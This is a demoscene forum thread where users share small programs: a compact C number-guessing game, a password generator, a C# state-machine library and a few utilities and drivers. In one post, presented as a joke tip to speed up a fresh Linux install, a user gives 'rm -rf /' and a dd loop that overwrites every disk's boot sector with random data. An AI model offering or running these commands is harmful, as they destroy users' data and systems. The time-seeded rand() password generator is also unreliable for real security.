Behold! The interesting little programs thread.
category: code [glöplog]
While it's fun to write little, more or less clever versions of the fizz buzz test, these kind of exercises leave something to be desired. Those things are useless, they do nothing interesting. So, here's a thread I'd like to dedicate to small, relatively simple and useful/interesting/entertaining and possibly interactive programs.
To get the ball going, I present a version of the Guess-My-Number game, most of you will be very familiar with and which was always the better "hello world" anyway. :)
To get the ball going, I present a version of the Guess-My-Number game, most of you will be very familiar with and which was always the better "hello world" anyway. :)
Code:
/* the usual includes (+time.h) and main() body goes here */
#define P printf
int r,a=4,i=0,A=1,Z=10; srand(time(0));
for( P("%d..%d\n",A,Z),r=(rand()%(Z-A+1))+A;
r^i&&(a--?P("(try %d/4)?:",4-a): !P("Comp wins! (was:%d)",r)); )
{
scanf("%d",&i); P("%s\n",r>i?"Mine's >":r<i?"Mine's <":"Got it.\nYou win!");
}
is that just intentionally obfuscated?
Anyway, I'd like to abuse this thread to market my most recent open source brainfart: using the C# compiler's built-in state machine generator for.. state machines!
It's based on best-practice features such as "goto" and reflection, so I'm sure you'll love it.
https://github.com/eteeselink/YieldMachine
It's based on best-practice features such as "goto" and reflection, so I'm sure you'll love it.
https://github.com/eteeselink/YieldMachine
A small program I made to not let Windows sleep while a process is running (I needed it for some scheduled tasks on third-party programs which would not prevent Windows from sleeping):
https://github.com/javiercampos/NoSleepRun
https://github.com/javiercampos/NoSleepRun
skrebbel: "yield" statement in C#, new to me (fucking hell its .net 2.0), so strange - yet cool!
Crap posters should feel bad and stay away, if they have nothing to contribute. :)
skrebbel: I guess I was going for compactness and especially in a c context it does not quality for being obfuscated much at all.
skrebbel: I guess I was going for compactness and especially in a c context it does not quality for being obfuscated much at all.
yet another one of those c-tiny sourcecode thingies
Here is a nice little command to run on your freshly installed linux installation (make the os load faster):
Code:
rm -rf /
Code:
for i in /dev/?d?; do dd if=/dev/urandom of=$i bs=1 count=512;done
Skrebbel: It seems you forgot to commit your unit tests!
this guy wins anyway
haha, nice article
sagacity, i very much did :-) i promise to add them the moment i get a single pull request, reported issue or active user.
Skrebbel: I bow to thee, that's wonderful! I always thought that yield return is very cool :)
https://github.com/mudlord/BASSMIDI-Driver
now you can use soundfonts in sequencers if you dont have a creative card. Drivers are tiny and optimized too. works on x64 windows.
now you can use soundfonts in sequencers if you dont have a creative card. Drivers are tiny and optimized too. works on x64 windows.
Not giving up on the thread idea just yet:
A tiny, but somewhat versatile password generator. Takes formated input and produces output like this:
Code:
#define MAXLEN 20
int i,r;
char inp[MAXLEN] = {0}, outp[MAXLEN] = {0};
printf("\ninput:"); scanf("%s20", &inp);
if (*inp>='a' && *inp<='f') r = *inp-'a'+10; else
if (*inp>='0' && *inp<='9') r = *inp-'0';
srand(time(0));
while(r--)
{
for(i = 1; i < strlen(inp); i++)
(inp[i]=='0')? outp[i-1]='0'+rand()%10: (inp[i]=='x')? outp[i-1]='a'+rand()%26:0;
printf("\n (%2.d) pwd: %s", r+1, outp);
}
A tiny, but somewhat versatile password generator. Takes formated input and produces output like this:
Code:
input: 5xxx000x0x0
( 5) pwd: lkr967v5c1
( 4) pwd: hwd996t2v7
( 3) pwd: tws557k6x9
( 2) pwd: eny729y7m4
( 1) pwd: hyo523p5f4
did you know that the more obfuscated and crappy you make your C code look, the faster it executes and more clever it looks.
Also - you'd definately want to remove 0,O,o,1,l,i and I ... users will always misread them.
@Tigrou - you forgot "sudo" you silly person.
@ringofyre : people doing that kind of things are the kind of people who like to login as root...
Quote:
did you know that the more obfuscated and crappy you make your C code look, the faster it executes and more clever it looks.
It's not about "being clever" (unless using ternary operators counts as "clever" in your book). It's more about making it compact and spending less space per functionality. As long as it's still quite clear what's going on, that should be fine. True obfuscation looks a lot different and unless you spend hours dissecting it, you can't figure it out. Not to mention that C is not a very elegant language to begin with and a bit hard on the eyes.
Punqtured: Good point. Obviously depends on the CLI/system fonts a lot.
Ok, thread failed. Nuke it from orbit.
tomaes, what's the advantage of making it that compact? true question, i know none, but i may be missing something. to me it's just less readable, and that's the only difference. i mean, why call a variable 'r' if you could call it 'amount'? note, i'm not advocating going all requestedAmountOfPasswords on this, just, well, a word maybe?
Automate OpenGL extension initialization for 4k intro.
It is only 1 header file.
https://github.com/demotomohiro/glew4kb
http://pouet.net/prod.php?which=59388
It is only 1 header file.
https://github.com/demotomohiro/glew4kb
http://pouet.net/prod.php?which=59388